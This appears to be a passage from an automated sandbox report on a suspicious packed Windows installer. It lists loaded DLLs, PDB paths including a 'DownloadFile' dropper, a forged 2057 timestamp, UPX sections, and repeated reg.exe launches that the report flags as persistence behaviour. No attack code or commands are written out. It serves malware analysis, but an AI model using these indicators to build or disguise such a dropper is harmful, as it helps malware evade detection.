Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeSection loaded: iertutil.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: apphelp.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: acgenral.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: winmm.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: samcli.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msacm32.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: version.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: userenv.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: urlmon.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: mpr.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: sspicli.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: winmmbase.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: winmmbase.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: iertutil.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: srvcli.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: netutils.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: setupengine.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msi.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: winhttp.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: secur32.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: sqmapi.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: netapi32.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: wkscli.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msasn1.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: profapi.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: wldp.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\02160d95efb0ac51c5e073\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: activeds.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: adsldpc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: dfscli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: activeds.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: adsldpc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: dfscli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: secur32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: activeds.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: adsldpc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: logoncli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: dfscli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: activeds.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: adsldpc.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: logoncli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: dfscli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: activeds.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: adsldpc.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: logoncli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: dfscli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: activeds.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: adsldpc.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: logoncli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: dfscli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: activeds.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: adsldpc.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: logoncli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: dfscli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: activeds.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: adsldpc.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: logoncli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: dfscli.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeSection loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
Source: Auu2j0pT0B.exeStatic file information: File size 2590688 > 1048576
Source: Auu2j0pT0B.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: D:\Code\SetACL3\Source\SetACL.exe\x64\Release\SetACL.pdbG source: SetACL64.exe, 0000000D.00000002.2223566040.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 0000000D.00000000.2221181476.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000000.2226030491.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000002.2228718277.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000002.2230297262.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000000.2229272189.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000000.2230845676.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000002.2231860938.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000000.2232291589.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000002.2233290278.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000002.2234949635.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000000.2233742600.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000002.2236486391.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000000.2235471704.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000002.2238173796.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000000.2236972478.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe.0.dr
Source: Binary string: D:\Projects\DownloadFile\DownloadFile\obj\Release\DownloadFile.pdb?,Y, K,_CorExeMainmscoree.dll source: acxxtzcogvgr.exe.0.dr
Source: Binary string: sqmapi.pdb source: Setup.exe, Setup.exe, 00000009.00000002.2215477780.000000006C211000.00000020.00000001.01000000.0000000F.sdmp, sqmapi.dll.8.dr
Source: Binary string: SetupEngine.pdb source: Setup.exe, Setup.exe, 00000009.00000002.2215649372.000000006C4F1000.00000020.00000001.01000000.0000000E.sdmp
Source: Binary string: E:\clr\binaries\x86ret\bin\i386\VSSetup\Utils\boxstub.pdb source: dotNetFx45_Full_setup.exe, dotNetFx45_Full_setup.exe, 00000008.00000003.2116974194.0000000000FE9000.00000004.00000020.00020000.00000000.sdmp, dotNetFx45_Full_setup.exe, 00000008.00000002.2216959191.0000000000DC1000.00000020.00000001.01000000.0000000C.sdmp, dotNetFx45_Full_setup.exe, 00000008.00000000.2116425268.0000000000DC1000.00000020.00000001.01000000.0000000C.sdmp
Source: Binary string: boxstub.pdb source: dotNetFx40_Full_setup.exe, dotNetFx40_Full_setup.exe, 00000006.00000003.2037301147.0000000000EF1000.00000004.00000020.00020000.00000000.sdmp, dotNetFx40_Full_setup.exe, 00000006.00000000.2036445661.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, dotNetFx40_Full_setup.exe, 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, dotNetFx40_Full_setup.exe.0.dr
Source: Binary string: SetupUtility.pdb source: dotNetFx40_Full_setup.exe, 00000006.00000003.2053343550.0000000003CCB000.00000004.00000020.00020000.00000000.sdmp, dotNetFx45_Full_setup.exe, 00000008.00000003.2128530488.0000000003D5B000.00000004.00000020.00020000.00000000.sdmp, SetupUtility.exe.8.dr
Source: Binary string: D:\Projects\New\win_version_csharp\obj\Release\win_version_csharp.pdb source: win_version_csharp.exe.0.dr
Source: Binary string: Setup.pdb0=0^ source: dotNetFx45_Full_setup.exe, 00000008.00000003.2128530488.0000000003D5B000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000009.00000002.2209121585.0000000000601000.00000020.00000001.01000000.0000000D.sdmp, Setup.exe.8.dr
Source: Binary string: Setup.pdb source: Setup.exe, Setup.exe, 00000009.00000002.2209121585.0000000000601000.00000020.00000001.01000000.0000000D.sdmp, Setup.exe.8.dr, Setup.exe.6.dr
Source: Binary string: D:\Projects\DownloadFile\DownloadFile\obj\Release\DownloadFile.pdb source: acxxtzcogvgr.exe.0.dr
Source: Binary string: SetupResources.pdb source: dotNetFx40_Full_setup.exe, 00000006.00000003.2053343550.000000000407B000.00000004.00000020.00020000.00000000.sdmp, dotNetFx45_Full_setup.exe, 00000008.00000003.2128530488.00000000040B0000.00000004.00000020.00020000.00000000.sdmp, SetupResources.dll2.6.dr, SetupResources.dll16.6.dr, SetupResources.dll22.6.dr, SetupResources.dll6.8.dr, SetupResources.dll8.8.dr, SetupResources.dll3.6.dr, SetupResources.dll23.6.dr, SetupResources.dll8.6.dr, SetupResources.dll5.8.dr, SetupResources.dll10.6.dr, SetupResources.dll13.6.dr, SetupResources.dll17.6.dr, SetupResources.dll16.8.dr, SetupResources.dll17.8.dr, SetupResources.dll5.6.dr, SetupResources.dll18.8.dr, SetupResources.dll20.8.dr, SetupResources.dll7.8.dr, SetupResources.dll9.6.dr, SetupResources.dll0.8.dr, SetupResources.dll12.6.dr, SetupResources.dll1.6.dr, SetupResources.dll19.8.dr, SetupResources.dll20.6.dr, SetupResources.dll6.6.dr, SetupResources.dll22.8.dr, SetupResources.dll21.6.dr, SetupResources.dll15.8.dr, SetupResources.dll7.6.dr, SetupResources.dll13.8.dr, SetupResources.dll1.8.dr, SetupResources.dll10.8.dr, SetupResources.dll11.6.dr, SetupResources.dll18.6.dr, SetupResources.dll4.8.dr, SetupResources.dll21.8.dr, SetupResources.dll2.8.dr, SetupResources.dll9.8.dr, SetupResources.dll15.6.dr, SetupResources.dll19.6.dr, SetupResources.dll11.8.dr, SetupResources.dll3.8.dr, SetupResources.dll0.6.dr, SetupResources.dll.8.dr
Source: Binary string: SetupUi.pdb source: dotNetFx40_Full_setup.exe, 00000006.00000003.2053343550.000000000407B000.00000004.00000020.00020000.00000000.sdmp, dotNetFx45_Full_setup.exe, 00000008.00000003.2128530488.00000000040B0000.00000004.00000020.00020000.00000000.sdmp, SetupUi.dll.8.dr
Source: Binary string: D:\Code\SetACL3\Source\SetACL.exe\x64\Release\SetACL.pdb source: SetACL64.exe, 0000000D.00000002.2223566040.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 0000000D.00000000.2221181476.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000000.2226030491.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000002.2228718277.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000002.2230297262.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000000.2229272189.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000000.2230845676.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000002.2231860938.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000000.2232291589.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000002.2233290278.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000002.2234949635.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000000.2233742600.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000002.2236486391.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000000.2235471704.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000002.2238173796.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000000.2236972478.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe.0.dr
Source: acxxtzcogvgr.exe.0.drStatic PE information: 0xA53DC659 [Tue Nov 6 16:18:33 2057 UTC]
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00ADB4B3 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,6_2_00ADB4B3
Source: dotNetFx40_Full_setup.exe.0.drStatic PE information: section name: .boxld01
Source: dotNetFx45_Full_setup.exe.0.drStatic PE information: section name: .boxld01
Source: SetACL64.exe.0.drStatic PE information: section name: _RDATA
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AEAB05 push ecx; ret 6_2_00AEAB18
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AF4EE0 push ecx; ret 6_2_00AF4EF3
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_009B3DF5 push ecx; ret 7_2_009B3E08
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBE6F06 push ecx; ret 7_2_6CBE6F19
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBDE265 push ecx; ret 7_2_6CBDE278
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6E0C1B89 push ecx; ret 7_2_6E0C1B9C
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6E0C4821 push ecx; ret 7_2_6E0C4834
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DE52D0 push ecx; ret 8_2_00DE52E3
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeCode function: 8_2_00DDAEF5 push ecx; ret 8_2_00DDAF08
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_00603D15 push ecx; ret 9_2_00603D28
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C22CD28 push ecx; ret 9_2_6C22CD3B
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C21152F push ecx; ret 9_2_6C211542
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C584C56 push ecx; ret 9_2_6C584C69
Source: C:\02160d95efb0ac51c5e073\Setup.exeCode function: 9_2_6C57A2D5 push ecx; ret 9_2_6C57A2E8
Source: initial sampleStatic PE information: section name: UPX0
Source: initial sampleStatic PE information: section name: UPX1

Persistence and Installation Behavior

barindex
Uses cmd line tools excessively to alter registry or file data
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: reg.exe
